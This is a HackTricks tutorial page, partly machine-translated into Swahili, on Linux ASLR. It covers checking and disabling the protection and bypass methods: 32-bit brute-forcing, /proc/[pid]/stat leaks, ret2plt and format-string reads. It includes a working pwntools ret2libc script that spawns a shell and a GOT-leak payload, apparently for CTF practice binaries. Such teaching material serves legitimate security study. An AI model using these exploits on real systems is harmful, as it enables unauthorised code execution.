hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md

9.4 KiB

ASLR

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Basic Information

Address Space Layout Randomization (ASLR) ni mbinu ya usalama inayotumika katika mifumo ya uendeshaji ili kubadilisha anwani za kumbukumbu zinazotumiwa na michakato ya mfumo na programu. Kwa kufanya hivyo, inafanya kuwa vigumu sana kwa mshambuliaji kutabiri eneo la michakato na data maalum, kama vile stack, heap, na maktaba, hivyo kupunguza aina fulani za mashambulizi, hasa buffer overflows.

Checking ASLR Status

Ili kuangalia hali ya ASLR kwenye mfumo wa Linux, unaweza kusoma thamani kutoka kwenye faili ya /proc/sys/kernel/randomize_va_space. Thamani iliyohifadhiwa katika faili hii inaamua aina ya ASLR inayotumika:

  • 0: Hakuna kubadilisha. Kila kitu ni cha kudumu.
  • 1: Kubadilisha kwa njia ya kihafidhina. Maktaba zinazoshirikiwa, stack, mmap(), ukurasa wa VDSO zimebadilishwa.
  • 2: Kubadilisha kwa njia kamili. Mbali na vipengele vilivyobadilishwa kwa njia ya kihafidhina, kumbukumbu inayosimamiwa kupitia brk() imebadilishwa.

Unaweza kuangalia hali ya ASLR kwa amri ifuatayo:

cat /proc/sys/kernel/randomize_va_space

Kuzima ASLR

Ili kuzima ASLR, unapaswa kuweka thamani ya /proc/sys/kernel/randomize_va_space kuwa 0. Kuzima ASLR kwa ujumla hakupendekezwi nje ya hali za majaribio au urekebishaji. Hapa kuna jinsi unavyoweza kuzikima:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Unaweza pia kuzima ASLR kwa utekelezaji kwa:

setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

Kuwezesha ASLR

Ili kuezesha ASLR, unaweza kuandika thamani ya 2 kwenye faili ya /proc/sys/kernel/randomize_va_space. Hii kwa kawaida inahitaji ruhusa za mzizi. Kuwezesha randomization kamili kunaweza kufanywa kwa amri ifuatayo:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Uendelevu Wakati wa Kurejesha

Mabadiliko yaliyofanywa na amri za echo ni ya muda na yatarejelewa wakati wa kurejesha. Ili kufanya mabadiliko kuwa ya kudumu, unahitaji kuhariri faili ya /etc/sysctl.conf na kuongeza au kubadilisha mstari ufuatao:

kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

Baada ya kuhariri /etc/sysctl.conf, tumia mabadiliko kwa:

sudo sysctl -p

This will ensure that your ASLR settings remain across reboots.

Bypasses

32bit brute-forcing

PaX divides the process address space into 3 groups:

  • Code and data (initialized and uninitialized): .text, .data, and .bss —> 16 bits of entropy in the delta_exec variable. This variable is randomly initialized with each process and added to the initial addresses.
  • Kumbukumbu allocated by mmap() and shared libraries —> 16 bits, named delta_mmap.
  • The stack —> 24 bits, referred to as delta_stack. However, it effectively uses 11 bits (from the 10th to the 20th byte inclusive), aligned to 16 bytes —> This results in 524,288 possible real stack addresses.

The previous data is for 32-bit systems and the reduced final entropy makes possible to bypass ASLR by retrying the execution once and again until the exploit completes successfully.

Brute-force ideas:

  • If you have a big enough overflow to host a big NOP sled before the shellcode, you could just brute-force addresses in the stack until the flow jumps over some part of the NOP sled.
  • Another option for this in case the overflow is not that big and the exploit can be run locally is possible to add the NOP sled and shellcode in an environment variable.
  • If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems):
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Ikiwa unashambulia seva ya mbali, unaweza kujaribu kuvunjia nguvu anwani ya kazi ya libc usleep, ukipitia kama hoja 10 (kwa mfano). Ikiwa kwa wakati fulani seva inachukua sekunde 10 zaidi kujibu, umepata anwani ya kazi hii.

{% hint style="success" %} Katika mifumo ya 64bit, entropy ni ya juu zaidi na hii haiwezekani. {% endhint %}

Taarifa za Mlokole (/proc/[pid]/stat)

Faili /proc/[pid]/stat ya mchakato daima inasomeka na kila mtu na ina maelezo ya kuvutia kama:

  • startcode & endcode: Anwani juu na chini na TEXT ya binary
  • startstack: Anwani ya mwanzo wa stack
  • start_data & end_data: Anwani juu na chini ambapo BSS iko
  • kstkesp & kstkeip: Anwani za sasa za ESP na EIP
  • arg_start & arg_end: Anwani juu na chini ambapo cli arguments ziko.
  • env_start &env_end: Anwani juu na chini ambapo env variables ziko.

Kwa hivyo, ikiwa mshambuliaji yuko kwenye kompyuta moja na binary inayoshambuliwa na binary hii haitarajii overflow kutoka kwa hoja za moja kwa moja, bali kutoka kwa ingizo tofauti ambalo linaweza kutengenezwa baada ya kusoma faili hii. Inawezekana kwa mshambuliaji kupata anwani kadhaa kutoka kwa faili hii na kujenga offsets kutoka kwao kwa ajili ya shambulio.

{% hint style="success" %} Kwa maelezo zaidi kuhusu faili hii angalia https://man7.org/linux/man-pages/man5/proc.5.html ukitafuta /proc/pid/stat {% endhint %}

Kuwa na leak

  • Changamoto ni kutoa leak

Ikiwa umepatiwa leak (changamoto rahisi za CTF), unaweza kuhesabu offsets kutoka kwake (ukidhani kwa mfano unajua toleo halisi la libc linalotumika katika mfumo unaoshambulia). Mfano huu wa shambulio umetolewa kutoka mfano kutoka hapa (angalia ukurasa huo kwa maelezo zaidi):

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
  • ret2plt

Kwa kutumia overflow ya buffer, itakuwa inawezekana kutumia ret2plt kuhamasisha anwani ya kazi kutoka kwa libc. Angalia:

{% content-ref url="ret2plt.md" %} ret2plt.md {% endcontent-ref %}

  • Format Strings Arbitrary Read

Kama ilivyo katika ret2plt, ikiwa una kusoma bila mpangilio kupitia udhaifu wa format strings, inawezekana kuhamasisha anwani ya kazi ya libc kutoka kwa GOT. Mfano ufuatao ni kutoka hapa:

payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

You can find more info about Format Strings arbitrary read in:

{% content-ref url="../../format-strings/" %} format-strings {% endcontent-ref %}

Ret2ret & Ret2pop

Jaribu kupita ASLR kwa kutumia anwani ndani ya stack:

{% content-ref url="../../stack-overflow/ret2ret.md" %} ret2ret.md {% endcontent-ref %}

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}